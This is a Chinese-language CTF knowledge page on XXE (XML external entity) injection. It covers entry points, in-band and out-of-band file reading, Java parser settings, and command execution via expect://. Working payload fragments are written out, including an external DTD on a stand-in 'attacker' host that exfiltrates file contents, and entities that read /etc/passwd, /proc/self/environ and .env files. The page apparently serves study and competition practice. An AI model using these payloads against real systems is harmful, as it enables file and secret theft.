XXE¶
WEB · 知识域。XML 外部实体注入。标签:Java中XXE、XXE文件读取、XXE命令执行、有回显XXE、无回显XXE。
触发特征¶
- XML 解析入口:表单 XML、API(SOAP/SAML)、文件上传(DOCX/XLSX/SVG)、
Content-Type: text/xml。 - 依赖:
libxml、lxml、javax.xml、SimpleXML、Xerces。
有回显XXE¶
- 直接实体:
<!ENTITY xxe SYSTEM "file:///flag">后&xxe;回显。 - 参数实体拼结果:
<!ENTITY % file SYSTEM "file:///flag"><!ENTITY % eval "<!ENTITY ex SYSTEM 'file:///%file;'>">%eval;外层&ex;。 - 协议差异:Java 支持
file:///http:///ftp:///jar://;PHP 额外支持php://filter(base64 读二进制);libxml2 仅 file/http/ftp。
无回显XXE(OOB)¶
- 外部 DTD 托管在攻击者 VPS:
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">%dtd;,evil.dtd 内做参数实体嵌套 →http://attacker/?data=%exfil;。 - FTP 外带:捕获完整多行文件内容(FTP 协议逐行发送);HTTP GET 受 URL 长度限制。
- 报错型回显:让错误消息携带文件内容(嵌套实体非法引用触发)。
- 文件路径未知:先
file:///proc/self/cwd/定位工作目录;Java 用jar://协议列 jar 内路径。
Java中XXE¶
- 修复不全的解析器选项:
DOCTYPE被禁但XInclude开启;XMLInputFactory.SUPPORT_DTD=false缺失。 DocumentBuilderFactoryvsSAXParservsXPathExpression各自的开关位置。- CVE 匹配:CairoSVG 超大 width 触发 XXE(BSidesSF 2019,Python);Apache 相关 XXE 变体。
- Java 高版本 JAXP 默认禁外部实体 → 转 SSRF(XInclude / jar:// URL ClassLoader 行为)。
XXE文件读取¶
- 常读目标:
/flag、/etc/passwd、/proc/self/environ、源码(php://filterbase64)、配置(application.yml、.env)。 - 目录列表:Java
file:///对目录返回列表(libxml 不行);Windows UNC 探测内网file://host/share。
XXE命令执行¶
- PHP expect:// 扩展:
<!ENTITY xxe SYSTEM "expect://id">(少见于现代环境)。 - 现实路径多为 XXE → SSRF → 内网(见下),或 XXE → 写文件(罕见,需特殊解析器)。
- 命令执行不成立时:读源码找反序列化链 → Java/PHP。
变体与入口变形¶
- DOCX/Office XML 上传:
[Content_Types].xml、*.rels都是 XML → 上传文档触发解析(School CTF 2016)。 - SVG:svglib→PNG 管线 XXE(P.W.N. CTF 2018);CairoSVG(width 溢出触发,BSidesSF 2019)。
- 经头注入的 XML:
X-Forwarded-For拼入日志型 XML(Pwn2Win 2016);SOAP/SAML 消息体注入。 - 外部 DTD 被过滤 → 编码绕过(UTF-16 文档)、
XInclude、xs:importschema 引用。
转向¶
- OOB 通道建立后探测内网 → SSRF;解析器是 JSON/YAML → 对应语言页